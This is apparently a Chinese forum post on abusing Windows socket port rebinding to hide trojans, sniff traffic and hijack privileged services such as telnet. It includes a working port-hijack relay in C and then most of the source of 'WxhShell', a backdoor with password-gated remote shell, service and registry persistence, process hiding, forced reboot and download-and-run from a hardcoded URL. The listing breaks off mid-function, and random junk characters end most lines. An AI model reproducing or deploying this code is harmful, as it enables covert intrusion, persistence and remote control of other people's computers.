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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eLwTaW !C  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); * v8Ts  
DfJ2PX}q  
  saddr.sin_family = AF_INET; {qKxz9.y  
v]2S`ffP  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]!:oYAm  
0,*%vG?Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |VOg\[f  
Jxf~&!zR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &a!BD/  
6Dws,_UAZ4  
  这意味着什么?意味着可以进行如下的攻击: [#" =yzR<3  
OYM@szM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d "BW/%m|g  
d {lP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QH4wUU3X  
W-RqN!snJ8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2^~<("+w  
Ot&:mT!2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L~{_!Q  
ZWc+),X  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +y[@T6_  
kI*(V [i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xog/O i  
@#+jMV$g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *, Ld/O;s  
{s,+^7  
  #include Auy".br'  
  #include XA0 (f*  
  #include 9D@$i<D:  
  #include    L^kp8o^$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VeiElU3  
  int main() ydl jw  
  { '/0#lF  
  WORD wVersionRequested; [~5p>'  
  DWORD ret; J.*XXM- V  
  WSADATA wsaData; /rB{[zk  
  BOOL val; RR1A65B  
  SOCKADDR_IN saddr; ,7]k fB  
  SOCKADDR_IN scaddr; Pvo#pY^dXX  
  int err; {mYP<NBT  
  SOCKET s; 3 K/Df#  
  SOCKET sc; c"YXxA J  
  int caddsize; !Gs} tiMH  
  HANDLE mt; CF y}r(q  
  DWORD tid;   O/AE}]  
  wVersionRequested = MAKEWORD( 2, 2 ); yT OyDm-  
  err = WSAStartup( wVersionRequested, &wsaData ); *a}(6Cx  
  if ( err != 0 ) { wWW~_zP0  
  printf("error!WSAStartup failed!\n"); %:6?Y%`*[  
  return -1; l'4AF| p  
  } `&7RMa4=  
  saddr.sin_family = AF_INET; ux2013C_  
   =?@Q -(bp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S[M4ukYK  
Lrz3   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); MlO-+}`_+  
  saddr.sin_port = htons(23); tgFJZA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^z1IN-Tm/  
  { l4'~}nn(Y  
  printf("error!socket failed!\n"); Ry;$^.7%  
  return -1; \9c$`nn  
  } ;|ub!z9GG  
  val = TRUE; Go\VfLLw  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7 &)]) {Q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >O{7/)gS^  
  { {5:Zl<0  
  printf("error!setsockopt failed!\n"); I %_MV  
  return -1; =6%|?5G  
  } AMlV%U#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uK*|2U6t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "Tbnxx]J  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C? m,ta3  
=Z0t :{  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,cHU) j  
  { 'UwI*EW2S  
  ret=GetLastError(); GKtS6$1d#  
  printf("error!bind failed!\n"); x/TGp?\g  
  return -1; z MdC  
  } Rph%*~'  
  listen(s,2); 2=*=^)FNI  
  while(1)  y).P=z  
  { S)\8|ym6!  
  caddsize = sizeof(scaddr); ^[# & ^[-V  
  //接受连接请求 h* .w"JO  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y%(X+E"n*  
  if(sc!=INVALID_SOCKET) Ub)I66  
  { 66:ALFwd7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s"#]L44N  
  if(mt==NULL) &~~s6   
  { 4rB8Nm1  
  printf("Thread Creat Failed!\n"); ] pPz@@xx  
  break; /)#8)"`nT  
  } ziL^M"~2  
  } _vYzF+  
  CloseHandle(mt); ?X_V#8JK  
  } U{1z;lJ  
  closesocket(s); us{nyil1  
  WSACleanup(); hY8#b)l~lu  
  return 0;  WR.x&m>  
  }   bkQ3c-C<  
  DWORD WINAPI ClientThread(LPVOID lpParam) mN1Ssq"B  
  { +uQB rG  
  SOCKET ss = (SOCKET)lpParam; |HbEk[?^s  
  SOCKET sc; av'*u  
  unsigned char buf[4096]; Wc'Ehyi;  
  SOCKADDR_IN saddr; 9;f|EGwZ  
  long num; :EHQ .^  
  DWORD val; Ti= 3y497S  
  DWORD ret; "~$$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1kFjas `g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [8]m8=n  
  saddr.sin_family = AF_INET; g()m/KS<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xPQL?.  
  saddr.sin_port = htons(23); 0-xCp ~vE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s44iEh=V(I  
  { ,b' 4CF  
  printf("error!socket failed!\n"); aWvd`qA9r  
  return -1; moO _-@i  
  } kL7^$  
  val = 100; ?SX_gYe9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1r4,XSk  
  { 981!2*  
  ret = GetLastError(); ~mH+DV3  
  return -1; Jp ]T9W\  
  } 1D1b"o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N/{?7sG&  
  { -<oZ)OfU  
  ret = GetLastError(); 7:o+iP46  
  return -1; _Y-$}KwY!  
  } rx:lKoOnB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -9G]x{>  
  {  KOS yh<&  
  printf("error!socket connect failed!\n"); 0|C[-ppr  
  closesocket(sc); 7%CIt?Z%  
  closesocket(ss); `"Dy%&U  
  return -1; gMZ&,n4  
  } u%opY<h  
  while(1) <o@)SD~K  
  { 2V$9ei6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F0;1zw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &%e"9v2`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )BLmoJOf  
  num = recv(ss,buf,4096,0);  U42\.V0  
  if(num>0) 1g i}H)  
  send(sc,buf,num,0); ay[+2"  
  else if(num==0) 7Po/_%  
  break; s/ S+ ec3  
  num = recv(sc,buf,4096,0); L?f qcW{  
  if(num>0) 1URsHV!xcM  
  send(ss,buf,num,0); bOXh|u_3i  
  else if(num==0) ZjD2u 8e  
  break; b\L)m (  
  } %HEmi;  
  closesocket(ss); `@$YlFOW  
  closesocket(sc); Ihef$,  
  return 0 ; +{ab1))/  
  } #$uZDQY_  
P1QB`&8F  
s5.k|!K  
========================================================== Wf1-"Q  
<4NQL*|>  
下边附上一个代码,,WXhSHELL zjWyGt(Q  
}85#[~m'  
========================================================== ^'Zh;WjI7  
nDn{zea7  
#include "stdafx.h" KgU[  
YPQCOG  
#include <stdio.h> *2:Yf7rvI+  
#include <string.h> *]9XDc]{j1  
#include <windows.h> WFdem/\kX  
#include <winsock2.h> +-k`x0v  
#include <winsvc.h> /O"0L/hc^  
#include <urlmon.h> 2o}8W7y  
}q x(z^  
#pragma comment (lib, "Ws2_32.lib") D4\(:kF\Hg  
#pragma comment (lib, "urlmon.lib") ]Hj`2\KD.d  
nK:`e9ES  
#define MAX_USER   100 // 最大客户端连接数 |ZuDX87  
#define BUF_SOCK   200 // sock buffer \]GGVI ;u  
#define KEY_BUFF   255 // 输入 buffer *EE|?vn  
bgXc_>T6_y  
#define REBOOT     0   // 重启 2^ kn5  
#define SHUTDOWN   1   // 关机 |Kn^w4mN  
cFxSDTR  
#define DEF_PORT   5000 // 监听端口 bl9E&B/  
G[B*TM6$  
#define REG_LEN     16   // 注册表键长度 Faw. GU  
#define SVC_LEN     80   // NT服务名长度 :\T_'Shq  
/K&wr6  
// 从dll定义API 2c*2\93>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C9+Dw#-f V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xa\]ua_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?/L1tX)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T/3;NXe6E  
ceI [hM  
// wxhshell配置信息 0Cv4/Ar(  
struct WSCFG { {&b-}f"m  
  int ws_port;         // 监听端口 KK MWD\  
  char ws_passstr[REG_LEN]; // 口令 o}W7.7^2  
  int ws_autoins;       // 安装标记, 1=yes 0=no L/%xbm~  
  char ws_regname[REG_LEN]; // 注册表键名 ;WPI+`-  
  char ws_svcname[REG_LEN]; // 服务名 E<P*QZ-C3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4t(QvIydA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *xho  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0MhxFoFO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  pe|\'<>i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" akY6D]M  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -hm 9sNox  
6UtG-WHHt  
}; l9,w>]s  
f(W,m >.;  
// default Wxhshell configuration &<OMGGQ[h  
struct WSCFG wscfg={DEF_PORT, Kjvs@~6t  
    "xuhuanlingzhe",  K oL%}u&  
    1, 0c{Gr 0[>  
    "Wxhshell", p@`4 Qz  
    "Wxhshell", %hrsE5k^,  
            "WxhShell Service", RH1U_gp4 ]  
    "Wrsky Windows CmdShell Service", |c BHBd  
    "Please Input Your Password: ", Zj5NWzj X  
  1, pzYG?9cwz  
  "http://www.wrsky.com/wxhshell.exe", !vi4* @:  
  "Wxhshell.exe" )z|_*||WU^  
    }; J\9jsx!WQ  
.|tQ=l@I  
// 消息定义模块 iNMLYYq]l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H==X0  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +# A|Zp<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jh-kCF  
char *msg_ws_ext="\n\rExit."; <:H  
char *msg_ws_end="\n\rQuit."; X@G[=Rs  
char *msg_ws_boot="\n\rReboot..."; ZO]E@?Oav  
char *msg_ws_poff="\n\rShutdown..."; )E_!rR  
char *msg_ws_down="\n\rSave to "; _p?I{1O  
uV#-8a5!  
char *msg_ws_err="\n\rErr!"; </~1p~=hAt  
char *msg_ws_ok="\n\rOK!"; __Vg/C!W  
XWJ0=t&}  
char ExeFile[MAX_PATH]; thR|h+B  
int nUser = 0; pPU2ar  
HANDLE handles[MAX_USER]; UX+?0K  
int OsIsNt; ,(zcl$A[  
 U5T^S  
SERVICE_STATUS       serviceStatus; 4h[2C6 \+`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Vh_XBgP  
_q2`m  
// 函数声明 pyGFDB5_P  
int Install(void); )I^)*(}  
int Uninstall(void); Ul7,k\q@  
int DownloadFile(char *sURL, SOCKET wsh); "`H=AX0  
int Boot(int flag); _ +u sn.  
void HideProc(void); @D( KuF  
int GetOsVer(void); fLf#2EA  
int Wxhshell(SOCKET wsl); BIwgl@t!>  
void TalkWithClient(void *cs); sf=%l10Fk#  
int CmdShell(SOCKET sock); ,=x.aX Spz  
int StartFromService(void); `K@5_db\  
int StartWxhshell(LPSTR lpCmdLine); Jc9@VxWY  
HQ jxJd5P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); / i\uwa,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G*kXWEx  
AiR%MD  
// 数据结构和表定义 vUA)#z<  
SERVICE_TABLE_ENTRY DispatchTable[] = C"V?yDy2~  
{ w%!k?t,*]  
{wscfg.ws_svcname, NTServiceMain}, OoA5!HEh  
{NULL, NULL} =2GP^vh  
}; @p?b"?QaB  
98<bF{#0WM  
// 自我安装 tOp:e KN  
int Install(void) y"%iD`{  
{ FN8=YUYK%  
  char svExeFile[MAX_PATH]; 3<Pyr-z h  
  HKEY key; X8NO;w@z#  
  strcpy(svExeFile,ExeFile); Oa3=+_C~$1  
-O5(%  
// 如果是win9x系统,修改注册表设为自启动 e2_r0I^C  
if(!OsIsNt) { UlLM<33_)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t8a@L(J$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 071E%u,  
  RegCloseKey(key); qJAv=D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y~\`0?ST  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ra15d^  
  RegCloseKey(key); AU${0#WV_  
  return 0; d~xU?)n)  
    } /^es0$Co.  
  } cxF?&0[mY  
} UVQa af  
else { %RK\Hz2q3  
t,r&SrC  
// 如果是NT以上系统,安装为系统服务 8=zM~v)   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p.W*j^';Q  
if (schSCManager!=0) ^7^bA  
{ 9^[5!SMzCj  
  SC_HANDLE schService = CreateService 0;m$a=  
  ( y9l.i@-  
  schSCManager,  h(N 9RJ}  
  wscfg.ws_svcname, J=Y( *D7Q  
  wscfg.ws_svcdisp, H--*[3".  
  SERVICE_ALL_ACCESS, O+UV\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b&V]|Z (  
  SERVICE_AUTO_START, h1UlLy 8  
  SERVICE_ERROR_NORMAL, KE)D =P  
  svExeFile, 3I{ta/(  
  NULL, po](6V  
  NULL, TF iM[  
  NULL, &s}@7htE  
  NULL, Lw+1|  
  NULL ^J}$y7  
  ); ~m;MM)_V  
  if (schService!=0) +68K[s,FD  
  { ~)_ ?:.Da  
  CloseServiceHandle(schService); "!_ 4%z-  
  CloseServiceHandle(schSCManager); 94k)a8-!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {-7yZ]OO$  
  strcat(svExeFile,wscfg.ws_svcname); EX_sJc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >a`zkl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1b]PCNz  
  RegCloseKey(key); ;h(;(  
  return 0; .0*CT:1=0  
    } j7HlvoZV  
  } ~RLx;  
  CloseServiceHandle(schSCManager); ))+9 8iU1s  
} EwBN+v;)  
} tP^mq>  
8KELN(o$ 7  
return 1; 8iH;GFNJ7'  
} L) nVpqm   
{ `|YX_HS  
// 自我卸载 ,5+X%~'  
int Uninstall(void) 'LLQ[JJ=O  
{ -$MC  
  HKEY key; ?`*-QG}  
s2v#evI`+  
if(!OsIsNt) { Z6/~2S@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X.4ZLwX=  
  RegDeleteValue(key,wscfg.ws_regname); 8JOht(m  
  RegCloseKey(key); {s^ryv_}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;F]|HD9  
  RegDeleteValue(key,wscfg.ws_regname); OFL+Q~~C  
  RegCloseKey(key); j6 d"8oH _  
  return 0; 5Z1Do^  
  } V-U  ^O45  
} lXk-86[M  
} gwB> oi*OE  
else { a:%5.!Vd  
_x|8U'|Ce  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {hq ;7  
if (schSCManager!=0) ci NTYow  
{ {F9Qy0.*u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xW;[}t-QS  
  if (schService!=0) G~hILW^  
  { > FcA ,  
  if(DeleteService(schService)!=0) { wj5s5dH  
  CloseServiceHandle(schService); T]Td4T!  
  CloseServiceHandle(schSCManager); qsRfG~Cg  
  return 0; "91At b;hJ  
  } 3 !w>"h0(  
  CloseServiceHandle(schService); @`+$d=rO`  
  } gsq[ 9  
  CloseServiceHandle(schSCManager); <[f2ZS6  
} ~U*N'>'=)  
} VGUDUM.8  
714nUA872  
return 1; 3R[J,go  
} E9*?G4P{l  
1YD.jU^;HD  
// 从指定url下载文件 Tvw2py q  
int DownloadFile(char *sURL, SOCKET wsh) 1~u\]Zi=D  
{ j#>![km Mu  
  HRESULT hr; &EJ,k'7$  
char seps[]= "/"; W9m[>-Ew  
char *token; c1!/jTX$  
char *file;  eV=sDx  
char myURL[MAX_PATH]; ./*,Thc  
char myFILE[MAX_PATH]; >Pd23TsN  
Y},GZ^zqy  
strcpy(myURL,sURL); G`lhvpifG  
  token=strtok(myURL,seps); Z q>.;>  
  while(token!=NULL) QM=436fq  
  { `ip69 IF2*  
    file=token; %f(.OR)6{  
  token=strtok(NULL,seps); |oi49:NXn  
  } v6Wf7)d/1  
VRP.tD  
GetCurrentDirectory(MAX_PATH,myFILE); [gr[0aGBc  
strcat(myFILE, "\\"); iKH T  
strcat(myFILE, file); Uk ;.Hrt.  
  send(wsh,myFILE,strlen(myFILE),0); (s*Uz3 sq  
send(wsh,"...",3,0); 5)NfZN# &  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  y] r~v  
  if(hr==S_OK) 92_H!m/  
return 0; :+^llz  
else 6}lEeMRW  
return 1; Q>g$)-8  
8/$iCW  
} P2RL\`<"  
He;%6OG{  
// 系统电源模块 ]H'82a  
int Boot(int flag) *G|]5  
{ l8lR5<  
  HANDLE hToken; :>ST)Y@]w  
  TOKEN_PRIVILEGES tkp; < io8 b|A  
%= ;K>D  
  if(OsIsNt) { :@A;!'zpL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OWfj<#}t+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :%]R x&08  
    tkp.PrivilegeCount = 1; uQ+$HzxX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V)jhyCL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @<JQn^M  
if(flag==REBOOT) { 4DM|OL`w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vrx3O  
  return 0; CnA)>4E*'  
} .u3W]5M|  
else {  o*1`,n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {X"]92+  
  return 0; dg8\(G  
} E?o8'r  
  } pra&A2Y\  
  else { +mv%z3"j;  
if(flag==REBOOT) { b#j5fEY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #T`+~tW'|  
  return 0; j" .6  
} l Nto9  
else { L<]P K4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,dMi+c`ax  
  return 0; dj**,*s  
} ]>T/Gl1  
} (2)9TpE;  
ee` =B  
return 1; Vo8"/]_h  
} ?+L6o C.;  
YWF<2l.  
// win9x进程隐藏模块 v]S8!wU  
void HideProc(void) bZfJG^3  
{ %,RU)}  
eA^|B zU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @eU/g![u  
  if ( hKernel != NULL ) !PbFo%)  
  { ka [NYW{.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P*sCrGO%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Sd11ZC6  
    FreeLibrary(hKernel); e 3oIoj4o  
  } #+nv,?@  
El} z^e  
return; +=$G6uR$  
} j'n= Xh  
j`l K}  
// 获取操作系统版本 _zwuK1e  
int GetOsVer(void) M/;g|J jM  
{ ^Tmmx_Xw  
  OSVERSIONINFO winfo; 6 nhB1Aei  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8;rS"!qM  
  GetVersionEx(&winfo); {4*%\?c,n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) FM];+d0  
  return 1; tgnXBWA`!  
  else n_glYSV!  
  return 0; &t4(86Bmq  
} mJT m/C  
8=uljn/  
// 客户端句柄模块 0[Aa2H*  
int Wxhshell(SOCKET wsl) h 42?^mV4?  
{ ;Yj&7k1  
  SOCKET wsh; <0}'#9>O  
  struct sockaddr_in client; (^\i(cfu6Q  
  DWORD myID; '5\1uB PKW  
aR $P}]H  
  while(nUser<MAX_USER) RL9P:] ^  
{ ?OFvGd  
  int nSize=sizeof(client); Ccmbdw,Z 5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); na)ceN2h  
  if(wsh==INVALID_SOCKET) return 1; T94$}- 5/)  
Q5JeL6t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +^:K#S9U  
if(handles[nUser]==0) 1cega1s3xR  
  closesocket(wsh); H R  
else u{ /gjv  
  nUser++; 0g\&3EvD  
  } >sq9c/}X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cPSu!u}D  
EbHeP  
  return 0; 2$=HDwv  
} HDOaN  
In2D32"F  
// 关闭 socket ,zaveQ~l  
void CloseIt(SOCKET wsh) B%/Pn 2  
{ \Qn8"I83AV  
closesocket(wsh); k@'.d)y0`  
nUser--; MiRB*eA  
ExitThread(0); lvlH5Fc  
} &$[{L)D  
P@#6.Bb#V  
// 客户端请求句柄 &\r%&IX/  
void TalkWithClient(void *cs) $? Rod;  
{ q[lqEc  
?~Des"F6)1  
  SOCKET wsh=(SOCKET)cs; - _(!  
  char pwd[SVC_LEN]; zO,sq%vQn'  
  char cmd[KEY_BUFF]; /^"TMm   
char chr[1]; .wywO|  
int i,j; >xN^#$ng}  
gUcE,L  
  while (nUser < MAX_USER) {  CgWj9 [  
Pcc%VQN  
if(wscfg.ws_passstr) { gMbvHlT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z[VKB3Pb8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g@L4G?hLn  
  //ZeroMemory(pwd,KEY_BUFF); (Lp-3Xx  
      i=0; t/CNxfY  
  while(i<SVC_LEN) { 2_Qzc&"[ 4  
=zKp(_[D  
  // 设置超时 x$E l7=.  
  fd_set FdRead; jWz-7BO  
  struct timeval TimeOut; \?Z dUY  
  FD_ZERO(&FdRead); JcP'+@X"  
  FD_SET(wsh,&FdRead); Jz6PqU|=  
  TimeOut.tv_sec=8; `}bUf epMJ  
  TimeOut.tv_usec=0; ?l/rg6mbI'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x?kZD~|{)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T>?~eYHXs  
KME #5=~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;S7xJ 'H  
  pwd=chr[0]; ntT| G0E  
  if(chr[0]==0xd || chr[0]==0xa) { +J} 41  
  pwd=0;  E9i WGSE  
  break; x9=lN^/4  
  } -:QyWw/d  
  i++; -'2.^a-8-g  
    } ?cJ$=  
jL# akV  
  // 如果是非法用户,关闭 socket *=8)]_=f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +2?[=g4;}  
} _ :z~P<%s  
7]Egu D4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! 9e>J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d dPJx<  
z}%to0W  
while(1) { ^$(|(N[;   
BC+HP9<]  
  ZeroMemory(cmd,KEY_BUFF); qhtc?A/0}  
)q,}jeM8  
      // 自动支持客户端 telnet标准   :/3`+&T^/  
  j=0; n F-FoO98  
  while(j<KEY_BUFF) { Z6=!}a%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /H)g<YA  
  cmd[j]=chr[0]; iw{n|&Y#`  
  if(chr[0]==0xa || chr[0]==0xd) { cA*%K[9  
  cmd[j]=0; {MS&t09Wh  
  break; P+/L, u  
  } k}/: xN"  
  j++; P/_XDP./U  
    } kU /?#s  
xqr`T0!&  
  // 下载文件 UaBR;v-.B3  
  if(strstr(cmd,"http://")) { kBT uM"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b7n~z1$  
  if(DownloadFile(cmd,wsh)) `XnFc*L 1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); } 8svd#S+  
  else 17GyE=Uu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oTL "]3`'  
  } ,uw &)A  
  else { ka hv1s-  
?z6C8T~+  
    switch(cmd[0]) { L=$P  
  L \$zr,=C  
  // 帮助 @.0,k a,X  
  case '?': { 8c~H![2u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @EQ{lGpU3  
    break; #G,e]{gs  
  } MLDuo|?  
  // 安装 m4iR '~L}  
  case 'i': { ]mc,FlhU@  
    if(Install()) B5cTzY.h-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~7m+cWC-+  
    else CR/LV]G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $qvNv[  
    break; IJ0RHDod:  
    } _+{s^n=  
  // 卸载 ql8:s>1T  
  case 'r': { s(dox; d  
    if(Uninstall()) G$Dg*<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +X< Z 43  
    else }"T:z{n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a-W&/  
    break; 2vwT8/  
    } Ii9vA ^53  
  // 显示 wxhshell 所在路径 O~D}&M@/R  
  case 'p': { 6hZhD1lDG^  
    char svExeFile[MAX_PATH]; R 'F|z{8  
    strcpy(svExeFile,"\n\r"); cr!I"kTgD  
      strcat(svExeFile,ExeFile); QEVjXJOt0  
        send(wsh,svExeFile,strlen(svExeFile),0); R =jK3yfw  
    break; AkF1Hj  
    } )KNFS,5  
  // 重启 R6!3Y/Q@  
  case 'b': { 2@H~nw 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $OJ*Kul  
    if(Boot(REBOOT)) ^,X+ n5q;m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCP Be2  
    else { /i]Gg \)  
    closesocket(wsh); eI[z%j[Y*  
    ExitThread(0); NZ_45/(dx  
    } 4M:oa#gh@  
    break; a}fW3+>  
    } <ZocMv9gM  
  // 关机 \C L`j  
  case 'd': { h$k(|/+  
